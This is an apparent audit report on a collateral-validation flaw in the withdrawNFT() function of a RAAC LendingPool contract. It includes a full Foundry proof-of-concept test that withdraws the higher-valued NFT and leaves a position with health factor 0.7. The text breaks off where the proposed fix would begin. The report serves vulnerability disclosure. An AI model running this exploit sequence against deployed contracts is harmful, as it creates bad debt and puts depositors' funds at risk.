Core Contracts

Summary

The current implementation of withdrawNFT() in the LendingPool contract contains a flaw in its collateral validation logic that allows borrowers to withdraw higher-valued NFTs while leaving lower-valued NFTs as collateral that are insufficient to cover their remaining debt, creating undercollateralized positions.

Vulnerability Details

The issue lies in how the withdrawNFT() function validates whether a withdrawal would leave a user undercollateralized:

The current check only verifies if the remaining collateral value after withdrawal would be less than the user's debt multiplied by the liquidation threshold (80%). However, this check is insufficient because:

1. It doesn't properly account for the relationship between collateral value and debt in terms of maintaining a healthy position

2. A user can strategically withdraw higher-valued NFTs while leaving lower-valued ones that are insufficient to cover the debt

This is demonstrated in the Proof of Concept below:

1. User deposits two NFTs worth 100 crvUSD and 18 crvUSD (total 118 crvUSD)

2. Borrows 80% of collateral value (94.4 crvUSD)

3. After interest accrual, debt becomes 101.91 crvUSD

4. User repays 80% of the debt (~81.53 crvUSD)

5. Successfully withdraws the higher-valued NFT (100 crvUSD)

6. Remaining position:

   • Collateral: 18 crvUSD

   • Debt: ~20.38 crvUSD

   • Health Factor: 0.7 (unhealthy)

PoC

In order to run the test you need to:

1. Run foundryup to get the latest version of Foundry

2. Install hardhat-foundry: npm install --save-dev @nomicfoundation/hardhat-foundry

3. Import it in your Hardhat config: require("@nomicfoundation/hardhat-foundry");

4. Make sure you've set the BASE_RPC_URL in the .env file or comment out the forking option in the hardhat config.

5. Run npx hardhat init-foundry

6. There is one file in the test folder that will throw an error during compilation so rename the file in test/unit/libraries/ReserveLibraryMock.sol to => ReserveLibraryMock.sol_broken so it doesn't get compiled anymore (we don't need it anyways).

7. Create a new folder test/foundry

8. Paste the below code into a new test file i.e.: FoundryTest.t.sol

9. Run the test: forge test --mc FoundryTest -vvvv

   // SPDX-License-Identifier: UNLICENSED

   pragma solidity ^0.8.19;

   ​

   import {Test} from "forge-std/Test.sol";

   import {console2} from "forge-std/console2.sol";

   ​

   import {StabilityPool} from "../../contracts/core/pools/StabilityPool/StabilityPool.sol";

   import {crvUSDToken} from "../../contracts/mocks/core/tokens/crvUSDToken.sol";

   import {RAACToken} from "../../contracts/core/tokens/RAACToken.sol";

   import {RAACHousePrices} from "../../contracts/core/primitives/RAACHousePrices.sol";

   import {RAACNFT} from "../../contracts/core/tokens/RAACNFT.sol";

   import {RToken} from "../../contracts/core/tokens/RToken.sol";

   import {DebtToken} from "../../contracts/core/tokens/DebtToken.sol";

   import {DEToken} from "../../contracts/core/tokens/DEToken.sol";

   import {LendingPool} from "../../contracts/core/pools/LendingPool/LendingPool.sol";

   import {RAACMinter, IRAACMinter} from "../../contracts/core/minters/RAACMinter/RAACMinter.sol";

   import {PercentageMath} from "../../contracts/libraries/math/PercentageMath.sol";

   import {ILendingPool} from "../../contracts/interfaces/core/pools/LendingPool/ILendingPool.sol";

   import {IStabilityPool} from "../../contracts/interfaces/core/pools/StabilityPool/IStabilityPool.sol";

   ​

   contract FoundryTest is Test {

   using PercentageMath for uint256;

   ​

   StabilityPool public stabilityPool;

   LendingPool public lendingPool;

   RAACMinter public raacMinter;

   ​

   crvUSDToken public crvusd;

   RToken public rToken;

   DEToken public deToken;

   RAACToken public raacToken;

   RAACNFT public raacNFT;

   DebtToken public debtToken;

   RAACHousePrices public raacHousePrices;

   ​

   address public owner;

   address public user1;

   address public user2;

   address public user3;

   address public treasury;

   ​

   uint256 public constant INITIAL_BALANCE = 1000e18;

   uint256 public constant INITIAL_PRIME_RATE = 1e27;

   ​

   uint256 constant INITIAL_BATCH_SIZE = 3;

   uint256 constant HOUSE_PRICE = 100e18;

   uint256 constant TOKEN_ID = 1;

   ​

   function setUp() public {

   // Setup accounts

   owner = address(this);

   user1 = makeAddr("user1");

   user2 = makeAddr("user2");

   user3 = makeAddr("user3");

   treasury = makeAddr("treasury");

   ​

   // Deploy base tokens

   crvusd = new crvUSDToken(owner);

   crvusd.setMinter(owner);

   ​

   raacToken = new RAACToken(owner, 100, 50);

   ​

   // Deploy price oracle and set oracle

   raacHousePrices = new RAACHousePrices(owner);

   raacHousePrices.setOracle(owner);

   ​

   // Set initial house prices

   raacHousePrices.setHousePrice(TOKEN_ID, HOUSE_PRICE);

   ​

   // Deploy NFT

   raacNFT = new RAACNFT(address(crvusd), address(raacHousePrices), owner);

   ​

   // Deploy pool tokens

   rToken = new RToken("RToken", "RToken", owner, address(crvusd));

   debtToken = new DebtToken("DebtToken", "DT", owner);

   deToken = new DEToken("DEToken", "DEToken", owner, address(rToken));

   ​

   // Deploy pools

   lendingPool = new LendingPool(

   address(crvusd),

   address(rToken),

   address(debtToken),

   address(raacNFT),

   address(raacHousePrices),

   INITIAL_PRIME_RATE

   );

   ​

   stabilityPool = new StabilityPool(owner);

   ​

   // this is needed otherwise lastEmissionUpdateTimestamp will underflow in the RAACMinter constructor

   vm.warp(block.timestamp + 2 days);

   ​

   // Deploy RAAC minter

   raacMinter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), owner);

   ​

   // Setup cross-contract references

   lendingPool.setStabilityPool(address(stabilityPool));

   rToken.setReservePool(address(lendingPool));

   debtToken.setReservePool(address(lendingPool));

   rToken.transferOwnership(address(lendingPool));

   debtToken.transferOwnership(address(lendingPool));

   ​

   deToken.setStabilityPool(address(stabilityPool));

   deToken.transferOwnership(address(stabilityPool));

   ​

   // Initialize Stability Pool

   stabilityPool.initialize(

   address(rToken),

   address(deToken),

   address(raacToken),

   address(raacMinter),

   address(crvusd),

   address(lendingPool)

   );

   ​

   // Setup permissions

   raacToken.setMinter(address(raacMinter));

   raacToken.manageWhitelist(address(stabilityPool), true);

   ​

   // Mint initial tokens and setup approvals

   _setupInitialBalancesAndAllowances();

   }

   ​

   function test_WithdrawNFTLeavesUserUnderCollateralized() public {

   // setup a second NFT with a lower price

   uint256 housePriceTwo = 18e18;

   raacHousePrices.setHousePrice(TOKEN_ID + 1, housePriceTwo);

   ​

   address borrower = makeAddr("borrower");

   // required amount of crvUSD to start with

   // 100e18 + 18e18 = 118e18

   uint256 requiredStartAmount = HOUSE_PRICE + housePriceTwo;

   crvusd.mint(borrower, requiredStartAmount);

   assertEq(crvusd.balanceOf(borrower), requiredStartAmount);

   ​

   // mint NFTs to borrower

   vm.startPrank(borrower);

   crvusd.approve(address(raacNFT), requiredStartAmount);

   raacNFT.mint(TOKEN_ID, HOUSE_PRICE);

   raacNFT.mint(TOKEN_ID + 1, housePriceTwo);

   assertEq(raacNFT.balanceOf(borrower), 2);

   // borrower has spent all his crvUSD

   assertEq(crvusd.balanceOf(borrower), 0);

   ​

   // deposit both NFTs to the lending pool

   raacNFT.approve(address(lendingPool), TOKEN_ID);

   raacNFT.approve(address(lendingPool), TOKEN_ID + 1);

   lendingPool.depositNFT(TOKEN_ID);

   lendingPool.depositNFT(TOKEN_ID + 1);

   assertEq(raacNFT.balanceOf(address(lendingPool)), 2);

   ​

   // total collateral value = 100e18 + 18e18

   uint256 totalCollateralValue = lendingPool.getUserCollateralValue(borrower);

   assertEq(totalCollateralValue, requiredStartAmount);

   // Borrow 80% of the collateral value

   // 80% of 118e18 = 94.4e18

   uint256 borrowedAmount = totalCollateralValue.percentMul(lendingPool.liquidationThreshold());

   console2.log("borrowedAmount", borrowedAmount);

   lendingPool.borrow(borrowedAmount);

   uint256 crvusdBalanceAfterBorrow = crvusd.balanceOf(borrower);

   assertEq(crvusdBalanceAfterBorrow, borrowedAmount);

   ​

   // wait some time to accrue interest on the debt token

   vm.warp(block.timestamp + 100 days);

   ​

   // update reserve state to get the real token balance

   lendingPool.updateState();

   // get user debt = 101.91e18

   uint256 userDebt = lendingPool.getUserDebt(borrower);

   console2.log("userDebt", userDebt);

   ​

   // calculate min amount to repay debt

   // we just repay 80% of 101.91e18 = ~81.53e18

   uint256 minAmountToRepayDebt = userDebt.percentMul(lendingPool.liquidationThreshold());

   console2.log("minAmountToRepayDebt", minAmountToRepayDebt);

   ​

   // repay ~81.53e18

   crvusd.approve(address(lendingPool), minAmountToRepayDebt);

   lendingPool.repay(minAmountToRepayDebt);

   assertEq(crvusd.balanceOf(borrower), crvusdBalanceAfterBorrow - minAmountToRepayDebt);

   ​

   // get health factor after repay = 4.63

   uint256 healthFactor = lendingPool.calculateHealthFactor(borrower);

   console2.log("healthFactor after repay", healthFactor);

   ​

   // withdraw NFT

   lendingPool.withdrawNFT(TOKEN_ID);

   assertEq(raacNFT.balanceOf(address(lendingPool)), 1);

   assertEq(raacNFT.balanceOf(borrower), 1);

   vm.stopPrank();

   ​

   // 101.91e18 - 81.53e18 = 20.38e18

   userDebt = lendingPool.getUserDebt(borrower);

   console2.log("userDebt after repay", userDebt);

   ​

   // remaining collateral in LendingPool = 18e18

   uint256 collateralValue = lendingPool.getUserCollateralValue(borrower);

   console2.log("collateralValue after repay", collateralValue);

   ​

   // collateral is less than debt to cover

   assertLt(collateralValue, userDebt);

   ​

   // get health factor = 0.7

   healthFactor = lendingPool.calculateHealthFactor(borrower);

   console2.log("healthFactor after withdraw", healthFactor);

   }

   ​

   function _setupInitialBalancesAndAllowances() internal {

   // Mint crvUSD to users

   crvusd.mint(user1, INITIAL_BALANCE);

   crvusd.mint(user2, INITIAL_BALANCE);

   crvusd.mint(user3, INITIAL_BALANCE);

   ​

   // Setup approvals for users

   vm.startPrank(user1);

   crvusd.approve(address(lendingPool), type(uint256).max);

   lendingPool.deposit(INITIAL_BALANCE);

   rToken.approve(address(stabilityPool), type(uint256).max);

   vm.stopPrank();

   ​

   vm.startPrank(user2);

   crvusd.approve(address(lendingPool), type(uint256).max);

   lendingPool.deposit(INITIAL_BALANCE);

   rToken.approve(address(stabilityPool), type(uint256).max);

   vm.stopPrank();

   ​

   vm.startPrank(user3);

   crvusd.approve(address(lendingPool), type(uint256).max);

   lendingPool.deposit(INITIAL_BALANCE);

   rToken.approve(address(stabilityPool), type(uint256).max);

   vm.stopPrank();

   }

   }

Impact

• Extract higher-value collateral while leaving the protocol with insufficient lower-value collateral

• Create undercollateralized positions that put protocol funds at risk

• Leave the protocol with bad debt that may not be recoverable through liquidation

Tools Used

• Foundry

• Manual Review

Recommendations

The withdrawal validation logic should be updated to ensure the remaining collateral maintains a healthy position relative to the outstanding debt. Here is one possible fix: